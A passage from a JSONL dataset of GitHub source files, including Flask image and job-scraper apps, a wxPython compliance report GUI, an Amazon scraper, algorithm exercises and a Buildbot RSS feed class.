{\"all\": list(self.feature_names_in_),\n \"used\": list(used_variables)}\n return self\n\n def predict(self, X):\n \"\"\"Predict Cubist regression target for X.\n\n Parameters\n ----------\n X : {array-like} of shape (n_samples, n_features)\n The input samples.\n\n Returns\n -------\n y : ndarray of shape (n_samples,)\n The predicted values.\n \"\"\"\n # make sure the model has been fitted\n check_is_fitted(self, attributes=[\"model_\", \"rules_\", \"coeff_\",\n \"feature_importances_\"])\n\n # validate input data\n X = self._validate_data(X,\n dtype=None,\n force_all_finite='allow-nan',\n reset=False)\n\n # (re)construct a dataframe from X\n X = pd.DataFrame(X, columns=self.feature_names_in_)\n\n # If there are case weights used during training, the C code will expect \n # a column of weights in the new data but the values will be ignored.\n if self.is_sample_weighted_:\n X[\"case_weight_pred\"] = np.nan\n\n # make data string for predictions\n data_string = _make_data_string(X)\n\n # get cubist predictions from trained model\n pred, output = _predictions(data_string.encode(),\n zlib.decompress(self.names_string_),\n zlib.decompress(self.data_string_),\n self.model_.encode(),\n np.zeros(X.shape[0]),\n b\"1\")\n\n # decode output\n output = output.decode()\n\n # raise Cubist prediction errors\n if \"***\" in output or \"Error\" in output:\n raise CubistError(output)\n\n if output:\n print(output)\n\n return pred\n","repo_name":"pjaselin/Cubist","sub_path":"cubist/cubist.py","file_name":"cubist.py","file_ext":"py","file_size_in_byte":17818,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"} +{"seq_id":"20292191761","text":"import os\nimport flask\nfrom flask.json import jsonify\nfrom flask import request, send_file\nfrom werkzeug.utils import secure_filename\nfrom PIL import Image\nimport uuid\nimport glob\nimport threading\nimport time\nimport pathlib\n\napp = flask.Flask(__name__)\napp.config['DEBUG'] = True\napp.config['UPLOAD_FOLDER'] = \"files\"\napp.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024\n\nALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png'}\n\n@app.route('/', methods = ['GET'])\ndef root_path() :\n return jsonify({\"message\" : \"Hello world!\"})\n\ndef check_allowed(filename) :\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\ndef auto_delete(directory) :\n print(\"delete in progress, user is able to download the file in 60 seconds\")\n time.sleep(60)\n os.remove(directory)\n print(\"complete\")\n \n\n@app.route('/upload/change-format', methods=['POST'])\ndef upload_file_change_format() :\n if request.method == 'POST' :\n try :\n f = request.files['file']\n format = request.form['format']\n if f and check_allowed(f.filename) and format.lower() in ALLOWED_EXTENSIONS:\n\n if not os.path.exists(os.path.join(app.config['UPLOAD_FOLDER'], 'user_uploaded')) :\n os.makedirs(os.path.join(app.config['UPLOAD_FOLDER'], 'user_uploaded'))\n\n if not os.path.exists(os.path.join(app.config['UPLOAD_FOLDER'], 'target')) :\n os.makedirs(os.path.join(app.config['UPLOAD_FOLDER'], 'target'))\n\n name_and_format = secure_filename(f.filename).split(\".\")\n file_uuid = str(uuid.uuid4())\n uploaded_filename = file_uuid + \".\" + name_and_format[1]\n uploaded_path = os.path.join(app.config['UPLOAD_FOLDER'], 'user_uploaded', uploaded_filename)\n f.save(uploaded_path)\n\n img = Image.open(uploaded_path)\n target_name = file_uuid + \".\" + format\n target_path = os.path.join(app.config['UPLOAD_FOLDER'], 'target', target_name)\n rgb_mage = img.convert('RGB')\n rgb_mage.save(target_path)\n\n os.remove(uploaded_path)\n threading.Thread(target=auto_delete, args=(target_path,)).start()\n \n return jsonify({\n \"message\" : \"File is uploaded successfully\",\n \"status\": True,\n \"code\": 200,\n \"data\": file_uuid\n })\n else :\n return jsonify({\n \"message\" : \"Format file is not supported\",\n \"status\": False,\n \"code\": 403,\n \"data\": None\n })\n except :\n return jsonify({\n \"message\" : \"File is is too large\",\n \"status\": False,\n \"code\": 413,\n \"data\": None\n })\n\n@app.route('/upload/compress-image', methods=['POST'])\ndef upload_file_compress_image() :\n if request.method == 'POST' :\n try :\n f = request.files['file']\n quality = int(request.form['quality'])\n\n if quality is None or (quality < 0 and quality > 100) :\n return jsonify({\n \"message\" : \"quality must be not null and in range between 0 and 100\",\n \"status\": False,\n \"code\": 403,\n \"data\": None\n })\n\n if not os.path.exists(os.path.join(app.config['UPLOAD_FOLDER'], 'user_uploaded')) :\n os.makedirs(os.path.join(app.config['UPLOAD_FOLDER'], 'user_uploaded'))\n\n if not os.path.exists(os.path.join(app.config['UPLOAD_FOLDER'], 'target')) :\n os.makedirs(os.path.join(app.config['UPLOAD_FOLDER'], 'target'))\n\n name_and_format = secure_filename(f.filename).split(\".\")\n file_uuid = str(uuid.uuid4())\n uploaded_filename = file_uuid + \".\" + name_and_format[1]\n uploaded_path = os.path.join(app.config['UPLOAD_FOLDER'], 'user_uploaded', uploaded_filename)\n f.save(uploaded_path)\n\n img = Image.open(uploaded_path)\n target_name = file_uuid + \".\" + name_and_format[1]\n target_path = os.path.join(app.config['UPLOAD_FOLDER'], 'target', target_name)\n img.save(target_path, optimize=True, quality=quality)\n\n os.remove(uploaded_path)\n threading.Thread(target=auto_delete, args=(target_path,)).start()\n \n return jsonify({\n \"message\" : \"File is uploaded successfully\",\n \"status\": True,\n \"code\": 200,\n \"data\": file_uuid\n })\n except :\n return jsonify({\n \"message\" : \"File is is too large\",\n \"status\": False,\n \"code\": 413,\n \"data\": None\n })\n\n\n@app.route('/download', methods = ['GET'])\ndef download_target() :\n if request.method == 'GET' :\n file_id = request.args.get(\"id\")\n target_directory = os.path.join(app.config['UPLOAD_FOLDER'], 'target')\n directory = glob.glob(target_directory + \"\\\\\" + file_id + \".**\", recursive=True)\n if len(directory) == 0 :\n return jsonify({\n \"message\" : \"File not found\",\n \"status\": False,\n \"code\": 404\n })\n return send_file(directory[0], as_attachment=True)\n\nif __name__ == \"__main__\" :\n app.run()","repo_name":"justahmed99/image-converter-compressor-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44266752105","text":"from flask import Flask, render_template, request, redirect, send_file\nfrom scrapper import get_jobs\nfrom exporter import save_to_file\n\napp = Flask(\"SuperScrapper\")\n\n# Fake DB를 만들어 Scrapper로 인한 시간을 줄이기\ndb = {}\n\n\n# @는 Decorator -> 바로 아래에 있는 함수만 본다!\n\n@app.route(\"/\")\ndef home():\n # return \"

Job Search

\"\n return render_template(\"potato.html\")\n# / 아래 주소명과 함수명이 일치할 필요는 없다.\n@app.route(\"/\")\ndef potato(username):\n return f\"Hello name is {username}!\"\n\n@app.route(\"/report\")\ndef report():\n # 사용자가 입력한 것을 알기 위해서 request를 import 후 print해보았다.\n # dictionary 로 이루어져있는 request.args\n # Flask로 rendering하여 word 또는 다른 변수 넘겨주어 html에서 사용 가능\n print(request.args.get('word'))\n word = request.args.get('word')\n # 사용자 Human Error 방지\n # 1. word가 대문자나 섞여서 입력되었을 경우, 소문자로 치환\n # 2. 아무것도 입력안했을 경우 Null 이므로 Error가 난다. 따라서 홈으로 redirect\n if word:\n word = word.lower()\n existingJobs = db.get(word)\n if existingJobs:\n jobs = existingJobs\n else:\n jobs = get_jobs(word)\n db[word] = jobs\n else:\n return redirect(\"/\")\n \n return render_template(\"report.html\", searchingBy=word, resultsNumber = len(jobs), jobs=jobs)\n\n@app.route(\"/export\")\ndef export():\n try:\n word = request.args.get('word')\n if not word:\n raise Exception()\n word = word.lower()\n jobs = db.get(word)\n if not jobs:\n raise Exception()\n save_to_file(jobs) \n # return send_file(\"jobs.csv\")\n return send_file(\"jobs.csv\", as_attachment=True)\n except:\n return redirect(\"/\")\n \n\n\napp.run()\n","repo_name":"AhnDogeon/Python_WebScraper","sub_path":"Version2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74899710631","text":"import wx\nimport glob\nfrom bnyCompliance.equity.lowPriceSec import executedOrderReport\nimport os\nimport win32com.client as win32\nfrom bnyCompliance.ReportOpener.excelcomm import openWorkbook\nfrom bnyCompliance.Functions.OpenFile import OpenFileExcel\nfrom bnyCompliance.equity.lowPriceSecLookBack import lowPriceSecBackDate, FormatSaveBackDate, BackDateCpty\nimport pandas as pd\nimport datetime\nfrom tia.bbg import LocalTerminal\n\n\nReportDirs = {\n \"LowPriceReportDir\":\"H:\\\\Post June 11, 2010\\\\Equity Low Priced Report\"\n\n}\n\nclass LowPriceSec(wx.Panel):\n def __init__(self, parent):\n wx.Panel.__init__(self, parent, style=wx.SUNKEN_BORDER)\n #----------------------- Text\n reportText = wx.StaticText(self, label=\"Low Price Securities Report: \")\n #------------- run low priced security report button\n lowPriceButton = wx.Button(self, label=\"Run Low Price Securities Report For Previous Day\")\n self.priceThreshold = wx.TextCtrl(self, value=\"3\") # price threshold input lable\n self.priceThresholdText = wx.StaticText(self, label=\"Enter a security price threshold\") #price threshold text box parameter\n # ADV threshold textbox and parameter\n self.advThreshold = wx.TextCtrl(self, value=\"10\")\n self.advThresholdText = wx.StaticText(self, label=\"Enter a percent of adv threshold\")\n \n lowPriceButton.Bind(wx.EVT_BUTTON, self.LowPrice)\n\n ####--------------Back Date Report\n self.dateText = wx.StaticText(self, label=\"Date For Look - use YYYY-MM-DD Format: \")\n self.dateCtrl = wx.TextCtrl(self)\n self.get_date = wx.Button(self, label=\"Select Date\")\n self.runLookBack = wx.Button(self, label=\"Run Low Price Report for historical day\")\n self.runLookBack.Bind(wx.EVT_BUTTON, self.BackDate)\n self.get_date.Bind(wx.EVT_BUTTON, self.calDlg)\n\n\n \n \n sizer = wx.GridBagSizer(1, 5)\n sizer.Add(reportText, pos=(1, 1), flag=wx.TOP|wx.RIGHT, border=5)# Low priced security Text\n sizer.Add(self.priceThresholdText,pos=(2,1),flag=wx.TOP|wx.RIGHT, border=5) \n sizer.Add(self.priceThreshold, pos=(2,2), flag=wx.TOP|wx.RIGHT, border=5)#price threshold position\n sizer.Add(self.advThresholdText,pos=(2,3),flag=wx.TOP|wx.RIGHT, border=5)\n sizer.Add(self.advThreshold, pos=(2,4),flag=wx.TOP|wx.RIGHT, border=5) #adv threshold position\n sizer.Add(lowPriceButton, pos=(2, 5), flag=wx.TOP|wx.RIGHT, border=5)# file input button sizer\n sizer.Add(self.dateText, pos=(4,1), border=5)\n sizer.Add(self.dateCtrl, pos=(4,2))\n sizer.Add(self.runLookBack, pos=(4,5))\n sizer.Add(self.get_date, pos=(4,4))\n\n self.SetSizer(sizer)\n \n\n def calDlg(self, event):\n dlg = wx.lib.calendar.CalenDlg(self)\n if dlg.ShowModal() == wx.ID_OK:\n result = dlg.result\n day = result[1]\n month = result[2]\n year = result[3]\n new_date = str(year) + '-' + str(month) + '-' + str(day)\n date = datetime.datetime.strptime(new_date, '%Y-%B-%d')\n date = date.strftime('%Y-%m-%d')\n self.dateCtrl.SetValue(date)\n\n\n\n def LowPrice(self, event):\n\n i = 0\n while i < 1:\n wait = wx.BusyCursor()\n\n\n save = \"H://Post June 11, 2010//Equity Low Priced Report//\" #the directory where the final output is saved\n\n PATH_TO_FIDESSA = os.path.abspath('T://CMI//MUNI//FidessaComplianceReportingBKCM')\n dir_list = [os.path.join(PATH_TO_FIDESSA, d) for d in os.listdir(PATH_TO_FIDESSA) if os.path.isdir(os.path.join(PATH_TO_FIDESSA, d))]\n latest_subdir = max(dir_list, key=os.path.getmtime)\n orderReports = glob.glob(latest_subdir + \"\\\\EXECUTED_ORDER*\")\n cpty_reports = glob.glob(latest_subdir + \"\\\\ALLOCATIONS.*\")\n cpty_stepout = glob.glob(latest_subdir + \"\\\\CPTY_ACCOUNT.*\")\n glob.glob\n\n adv = self.advThreshold.GetValue()\n price = self.priceThreshold.GetValue()\n print(orderReports)\n price = int(price)\n adv = int(adv)\n\n try:\n rpt = executedOrderReport(orderReports[0], save, price, adv, cpty=cpty_reports[0], cpty_list=cpty_stepout[0])\n x = lambda x: (print(i +\"\\n\") for i in x)\n x(orderReports)\n rpt.save()\n i=1\n return wx.MessageBox('Completed', 'Invalid directory', wx.OK | wx.ICON_EXCLAMATION),\n except PermissionError as e:\n print('someone using the file')\n i=1\n except IndexError:\n print('using second file')\n rpt = executedOrderReport(orderReports[-1], save,int(price), int(adv), cpty=cpty_reports[0],\n cpty_list=cpty_stepout[0])\n x = lambda x: (print(i + \"\\n\") for i in x)\n x(orderReports)\n rpt.save()\n i=1\n wx.show\n\n def BackDate(self, event):\n i = 0\n try:\n while i < 1:\n wait = wx.BusyCursor() #run busy cursor until end\n date = self.dateCtrl.GetValue() #get the date input from the gui\n print(date)\n adv = self.advThreshold.GetValue() #get the adv string value from gui\n price = self.priceThreshold.GetValue() # get the price threshold from gui\n\n backdate = lowPriceSecBackDate(date, price, adv) #craate back date object\n backdate.formatDates() # get the dates and file dirs\n print(backdate.FILE_DIR, '\\n', backdate.cpty_report,'\\n', backdate.cpty_stepout)\n backDateCptyDf = pd.read_csv(backdate.cpty_report, sep=\"|\")\n backDateAllocationDf = pd.read_csv(backdate.cpty_stepout, sep=\"|\")\n\n\n\n\n bkDateReport = executedOrderReport(backdate.FILE_DIR, backdate.SAVE, 3, 10) # use the low price sec class to get symbols dont run the regulat low price report\n syms = bkDateReport.getSymbols()\n syms = syms.SYMBOL.tolist()\n syms = [i + \" US EQUITY\" for i in syms]\n print('sybmols found are: ', syms)\n print(\"date is report will run for is: \", backdate.RUN_DATE)\n\n print('running advs')\n advs = LocalTerminal.get_historical(syms, 'PX_VOLUME', backdate.RUN_DATE, backdate.RUN_DATE).as_frame() #uses custom bloomberg api based on TIA_BBG github\n adv2 = LocalTerminal.get_reference_data(syms, 'VOLUME_AVG_30D', backdate.RUN_DATE,\n backdate.RUN_DATE).as_frame()\n advs = advs.transpose().reset_index().set_index('level_0').iloc[:, -1:]\n advs.columns = ['PX_VOLUME_1D']\n adv2 = adv2.join(advs).reset_index()\n adv2.columns = ['SYMBOL', 'VOLUME_AVG_30D', 'PX_VOLUME_1D']\n adv2['SYMBOL'] = [i.split(\" \", 1)[0] for i in adv2.SYMBOL.tolist()]\n\n\n\n exceptionFrame = bkDateReport.getSymbols()\n exceptionFrame = exceptionFrame.merge(adv2, on='SYMBOL', how='left')\n exceptionFrame['BKCM_TOTAL_VOL'] = exceptionFrame.groupby('SYMBOL')['VOLUME'].transform('sum')\n exceptionFrame['BKCM_%_ADV'] = (exceptionFrame['BKCM_TOTAL_VOL'] / exceptionFrame['VOLUME_AVG_30D']) * 100\n exceptionFrame['BKCM_%_OF_VOLUME_YESTERDAY'] = (exceptionFrame['BKCM_TOTAL_VOL'] / exceptionFrame['PX_VOLUME_1D']) * 100\n exceptionFrame = exceptionFrame[exceptionFrame['BKCM_%_ADV'] > 10]\n\n\n print('running backdate cpty')\n cpty = BackDateCpty(backDateAllocationDf, backDateCptyDf)\n cpty.merge()\n cpty = cpty.alloc\n exceptionFrame = pd.merge(exceptionFrame, cpty, left_on='PARENT_ORDER_ID', right_on='ORDER_ID', how='left')\n\n print(\"excpetion report found these counter parties :\", exceptionFrame.COUNTERPARTY_CODE.tolist())\n\n print('saving')\n exception = FormatSaveBackDate(exceptionFrame, backdate.date2)\n i = 2\n return exception.save()\n except Exception as e:\n print(e)\n i = 2\n return\n\n\n\n\nclass TabTwoExcelOpen(wx.Panel):\n def __init__(self, parent):\n wx.Panel.__init__(self, parent, style=wx.SUNKEN_BORDER)\n\n \n \n #---------------------------------------------------------\n instructionText = wx.StaticText(self, label=\"OPEN REPORTS IN EXCEL\")\n font = wx.Font(12, wx.DEFAULT, wx.NORMAL, wx.BOLD)\n instructionText.SetFont(font)\n #--------------------MTG Best Ex Open Button---------------------------\n \n #File Lcoation \n LowPricedSecText = wx.StaticText(self, label=\"Open 'Equity Low Priced Security Report': \")\n LowPriceSecOpenButton = wx.Button(self, label=\"Open Most Recent Priced Security Report\")\n LowPriceSecOpenButton.Bind(wx.EVT_BUTTON, self.OpenFileLowPriceReport)\n \n self.LowPriceSecDirButton = wx.Button(self, label=\"Manually Chose Report To Open\")\n self.LowPriceSecDirButton.Bind(wx.EVT_BUTTON, self.OpenFileLowPriceCustom)\n \n #--------------------Sizer----------------------------------------------\n sizer = wx.GridBagSizer(7, 10)\n sizer.Add(instructionText, pos=(0,0), flag=wx.LEFT)\n \n sizer.Add(LowPricedSecText, pos=(2, 0), flag=wx.LEFT, border=10) #open report text \n sizer.Add(LowPriceSecOpenButton, pos=(2, 1), span=(1, 3), flag=wx.TOP|wx.EXPAND)#Open report for previous bday button\n sizer.Add(self.LowPriceSecDirButton, pos=(2,4), span=(2,5), flag=wx.RIGHT)\n self.SetSizer(sizer)\n \n \n \n #------------------------------- Opens most recent low price sec report in directory------------\n \n def OpenFileLowPriceReport(self, event):\n \n \n dlg = wx.MessageDialog(self, \"Open Report\",\n style=wx.DD_DEFAULT_STYLE)\n \n \n if dlg.ShowModal() == wx.ID_OK:\n try:\n search_dir = os.path.abspath(ReportDirs['LowPriceReportDir'])\n files = sorted(os.listdir(search_dir))[-1]\n PATH_TO_RPT = os.path.join(search_dir, files)\n print('The most recent report is: \\n'+PATH_TO_RPT)\n excel = win32.gencache.EnsureDispatch('Excel.Application')\n wb = openWorkbook(excel, PATH_TO_RPT)\n ws = wb.Worksheets('Sheet1') \n excel.Visible = True\n\n except Exception as e:\n print(e)\n\n finally:\n # RELEASES RESOURCES\n ws = None\n wb = None\n excel = None\n\n\n \n def OpenFileLowPriceCustom(self, event):\n \n rpt_path = ReportDirs['LowPriceReportDir']\n print(rpt_path)\n OpenFileExcel(self, directory=rpt_path)\n \n \n \n \"\"\"\n def OpenFileLowPriceCustom(self, event):\n # allows user to select the directory\n \n with wx.FileDialog(self, \"Open report file\", wildcard=\"excel files (*.xlsx)|*.xlsx|(*.xls)|*.xlsx|(*.csv)|*.csv\",\n style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog:\n \n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return \n fileDialog.SetDirectory(ReportDirs['LowPriceReportDir'])\n pathname = fileDialog.GetPath()\n \n try:\n excel = win32.gencache.EnsureDispatch('Excel.Application')\n wb = openWorkbook(excel, pathname)\n ws = wb.Worksheets('Sheet1') \n excel.Visible = True\n except Exception as e:\n print(e)\n\n finally:\n # RELEASES RESOURCES\n ws = None\n wb = None\n excel = None\n \"\"\"\n\n\n\n\nclass EquityTabMain(wx.Panel):\n\n def __init__(self, parent):\n \"\"\"Constructor\"\"\"\n wx.Panel.__init__(self, parent, style=wx.SUNKEN_BORDER)\n panel = LowPriceSec(self)\n panel2 = TabTwoExcelOpen(self)\n \n sizer = wx.GridBagSizer(10,5)\n sizer.Add(panel, pos=(2,1))\n sizer.Add(panel2, pos=(4,1))\n self.SetSizer(sizer)\n \n \ndef main():\n pass\n\nif __name__ == \"__main__\":\n # stuff only to run when not called via 'import' here\n main()","repo_name":"complianceBD/panelGui","sub_path":"TabTwo.py","file_name":"TabTwo.py","file_ext":"py","file_size_in_byte":12640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19988861887","text":"from django.urls import path\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('register/', views.register, name='register'),\n path('login/', views.login, name='login'),\n path('homepage/', views.homepage, name='homepage'),\n path('calendar/', views.calendar, name='calendar'),\n path('calendar/new_course/', views.new_course, name='new_course'),\n path('editdata/', views.editdata, name='editdata'),\n path('changepw/', views.changepw, name='changepw'),\n path('ecpay/', views.ecpay_view, name='ecpay'),\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n","repo_name":"mengjelee/ecpay2","sub_path":"catalog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13953677419","text":"import sys\r\ninput=sys.stdin.readline\r\n\r\nN,M=map(int,input().split())\r\ntime=[]\r\nfor _ in range(N):\r\n time.append(int(input()))\r\n\r\ntime.sort()\r\n\r\nstart=0\r\nend=int(1e18)\r\nanswer=int(1e18)\r\nwhile(start<=end):\r\n total=0\r\n\r\n mid=(start+end)//2\r\n\r\n for i in time:\r\n total+=mid//i\r\n\r\n if total>=M:\r\n answer=min(answer,mid)\r\n end=mid-1\r\n else:\r\n start=mid+1\r\nprint(answer)","repo_name":"SongJeKang/goodkang","sub_path":"boj/2023_02_15/3079_immigration.py","file_name":"3079_immigration.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33508255904","text":"from ezzBuy.BusinessLayer.scraper import Scraper\nfrom ezzBuy.BusinessLayer.driver import Driver\nfrom ezzBuy.BusinessLayer.config_parser import config\nfrom bs4 import BeautifulSoup\n\n\nclass AmazonScraper(Scraper):\n def __init__(self, driver: Driver):\n self.driver = driver.get_driver()\n\n @staticmethod\n def get_url(product):\n template = 'https://www.amazon.com/s?k={}'\n product = product.replace(\" \", \"+\")\n url = template.format(product)\n url += '&page={}'\n return url\n\n @staticmethod\n def scrape_item(item):\n try:\n atag = item.h2.a\n title = atag.text.strip()\n link = 'https://amazon.com' + atag.get('href')\n except AttributeError:\n title = \"No title provided\"\n try:\n price_parent = item.find('span', 'a-price')\n price = price_parent.find('span', 'a-offscreen').text.strip()\n price = float(price[1:].replace(',', ''))\n except AttributeError:\n price = 0\n try:\n rating = item.i.text\n except AttributeError:\n rating = \"No rating provided\"\n\n return {'title': title,\n 'price': price,\n 'rating': rating,\n 'link': link,\n 'source': 'amazon.com',\n 'currency': 'USD'}\n\n def scrape(self, product):\n products = []\n url = self.get_url(product)\n\n for page in range(1, 21):\n self.driver.get(url.format(page))\n soup = BeautifulSoup(self.driver.page_source, 'lxml')\n results = soup.find_all('div', {'data-component-type': 's-search-result'})\n\n for item in results:\n record = self.scrape_item(item)\n if record['price'] == 0:\n continue\n elif len(products) >= int(config.get_property('SEARCH_NUMBER_AMAZON')):\n break\n else:\n products.append(record)\n if len(products) >= int(config.get_property('SEARCH_NUMBER_AMAZON')):\n break\n return products\n","repo_name":"isgandarisgandarov/ezzBuy","sub_path":"ezzBuy/BusinessLayer/amazon_scraper.py","file_name":"amazon_scraper.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9590583585","text":"\"\"\"\n주어진 숫자 중 3개의 수를 더했을 때 소수가 되는 경우의 개수를 구하려고 합니다. 숫자들이 들어있는 배열 nums가 매개변수로 주어질 때, \nnums에 있는 숫자들 중 서로 다른 3개를 골라 더했을 때 소수가 되는 경우의 개수를 return\n\"\"\"\nfrom itertools import combinations\nimport math\ndef is_prime(num):\n check_prime = True\n N = int(math.sqrt(num))\n \n for i in range(2,N+1):\n if(num % i == 0):\n check_prime = False\n return False\n return check_prime\n\ndef solution(nums):\n answer = 0\n tmp_list = list(combinations(nums,3))\n tmp_sum = 0\n for i in range(0, len(tmp_list)):\n tmp_sum = tmp_list[i][0] + tmp_list[i][1] + tmp_list[i][2]\n if(is_prime(tmp_sum)) : answer += 1\n \n return answer\n\n# 입출력 예\n# nums\t result\n# [1,2,3,4]\t 1\n# [1,2,7,6,4]\t4\n\nnums = [1,2,3,4]\nprint(solution(nums))","repo_name":"mieumje/Python_Coding_Test","sub_path":"Level1_Programmers/소수 만들기.py","file_name":"소수 만들기.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1637205755","text":"import sys\ninput=sys.stdin.readline\nprint = sys.stdout.write\nMax = 1000000\nS = [0] * (Max+1)\nDP = [1] * (Max+1)\nS[1] = 1\nfor i in range(2, Max+1):\n for j in range(1,(Max//i)+1):\n DP[i*j] += i\n S[i] = S[i-1]+DP[i]\n\n\nT = int(input())\nfor tc in range(T):\n n = int(input())\n print(str(S[n])+\"\\n\")\n\n\n# 2\nimport sys\nMAX = 1000000\ndp = [0] * (MAX + 1)\ns = [0] * (MAX + 1)\nfor i in range(1, MAX + 1): \n j = 1 \n while i * j <= MAX: \n dp[i * j] += i\n j += 1 \n s[i] = s[i - 1] + dp[i]\nt = int(input()) \nfor _ in range(t):\n a = int(sys.stdin.readline())\n sys.stdout.write(str(s[a])+\"\\n\")\n","repo_name":"GureumKim/BOJ","sub_path":"BOJ17425(약수관련_중요!)/17425.py","file_name":"17425.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15457922821","text":"import os\nimport re\nimport time\nfrom twisted.web import resource\nfrom buildbot.status.builder import FAILURE\n\nclass XmlResource(resource.Resource):\n contentType = \"text/xml; charset=UTF-8\"\n docType = ''\n\n def getChild(self, name, request):\n return self\n\n def render(self, request):\n data = self.content(request)\n request.setHeader(\"content-type\", self.contentType)\n if request.method == \"HEAD\":\n request.setHeader(\"content-length\", len(data))\n return ''\n return data\n\n_abbr_day = [ 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\n_abbr_mon = ['', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug',\n 'Sep', 'Oct', 'Nov', 'Dec']\n\ndef rfc822_time(tstamp):\n res = time.strftime(\"%%s, %d %%s %Y %H:%M:%S GMT\",\n tstamp)\n res = res % (tstamp.tm_wday, tstamp.tm_mon)\n return res\n\nclass FeedResource(XmlResource):\n pageTitle = None\n link = 'http://dummylink'\n language = 'en-us'\n description = 'Dummy rss'\n status = None\n\n def __init__(self, status, categories=None, pageTitle=None):\n self.status = status\n self.categories = categories\n self.pageTitle = pageTitle\n self.title = self.status.getTitle()\n self.link = self.status.getBuildbotURL()\n self.description = 'List of builds'\n self.pubdate = time.gmtime(int(time.time()))\n self.user = self.getEnv(['USER', 'USERNAME'], 'buildmaster')\n self.hostname = self.getEnv(['HOSTNAME', 'COMPUTERNAME'],\n 'buildmaster')\n self.children = {}\n\n def getEnv(self, keys, fallback):\n for key in keys:\n if key in os.environ:\n return os.environ[key]\n return fallback\n\n def getBuilds(self, request):\n builds = []\n # THIS is lifted straight from the WaterfallStatusResource Class in\n # status/web/waterfall.py\n #\n # we start with all Builders available to this Waterfall: this is\n # limited by the config-file -time categories= argument, and defaults\n # to all defined Builders.\n allBuilderNames = self.status.getBuilderNames(categories=self.categories)\n builders = [self.status.getBuilder(name) for name in allBuilderNames]\n\n # but if the URL has one or more builder= arguments (or the old show=\n # argument, which is still accepted for backwards compatibility), we\n # use that set of builders instead. We still don't show anything\n # outside the config-file time set limited by categories=.\n showBuilders = request.args.get(\"show\", [])\n showBuilders.extend(request.args.get(\"builder\", []))\n if showBuilders:\n builders = [b for b in builders if b.name in showBuilders]\n\n # now, if the URL has one or category= arguments, use them as a\n # filter: only show those builders which belong to one of the given\n # categories.\n showCategories = request.args.get(\"category\", [])\n if showCategories:\n builders = [b for b in builders if b.category in showCategories]\n\n failures_only = request.args.get(\"failures_only\", \"false\")\n\n maxFeeds = 25\n\n # Copy all failed builds in a new list.\n # This could clearly be implemented much better if we had\n # access to a global list of builds.\n for b in builders:\n lastbuild = b.getLastFinishedBuild()\n if lastbuild is None:\n continue\n\n lastnr = lastbuild.getNumber()\n\n totalbuilds = 0\n i = lastnr\n while i >= 0:\n build = b.getBuild(i)\n i -= 1\n if not build:\n continue\n\n results = build.getResults()\n\n if failures_only == \"false\" or results == FAILURE:\n totalbuilds += 1\n builds.append(build)\n\n # stop for this builder when our total nr. of feeds is reached\n if totalbuilds >= maxFeeds:\n break\n\n # Sort build list by date, youngest first.\n # To keep compatibility with python < 2.4, use this for sorting instead:\n # We apply Decorate-Sort-Undecorate\n deco = [(build.getTimes(), build) for build in builds]\n deco.sort()\n deco.reverse()\n builds = [build for (b1, build) in deco]\n\n if builds:\n builds = builds[:min(len(builds), maxFeeds)]\n return builds\n\n def content(self, request):\n builds = self.getBuilds(request)\n\n build_cxts = []\n\n for build in builds:\n start, finished = build.getTimes()\n finishedTime = time.gmtime(int(finished))\n link = re.sub(r'index.html', \"\", self.status.getURLForThing(build))\n\n # title: trunk r22191 (plus patch) failed on\n # 'i686-debian-sarge1 shared gcc-3.3.5'\n ss = build.getSourceStamp()\n source = \"\"\n if ss.branch:\n source += \"Branch %s \" % ss.branch\n if ss.revision:\n source += \"Revision %s \" % str(ss.revision)\n if ss.patch:\n source += \" (plus patch)\"\n if ss.changes:\n pass\n if (ss.branch is None and ss.revision is None and ss.patch is None\n and not ss.changes):\n source += \"Latest revision \"\n got_revision = None\n try:\n got_revision = build.getProperty(\"got_revision\")\n except KeyError:\n pass\n if got_revision:\n got_revision = str(got_revision)\n if len(got_revision) > 40:\n got_revision = \"[revision string too long]\"\n source += \"(Got Revision: %s)\" % got_revision\n failflag = (build.getResults() != FAILURE)\n pageTitle = ('%s %s on \"%s\"' %\n (source, [\"failed\",\"succeeded\"][failflag],\n build.getBuilder().getName()))\n\n # Add information about the failing steps.\n failed_steps = []\n log_lines = []\n for s in build.getSteps():\n if s.getResults()[0] == FAILURE:\n failed_steps.append(s.getName())\n\n # Add the last 30 lines of each log.\n for log in s.getLogs():\n log_lines.append('Last lines of build log \"%s\":' %\n log.getName())\n log_lines.append([])\n try:\n logdata = log.getText()\n except IOError:\n # Probably the log file has been removed\n logdata ='** log file not available **'\n unilist = list()\n for line in logdata.split('\\n')[-30:]:\n unilist.append(unicode(line,'utf-8'))\n log_lines.extend(unilist)\n\n bc = {}\n bc['date'] = 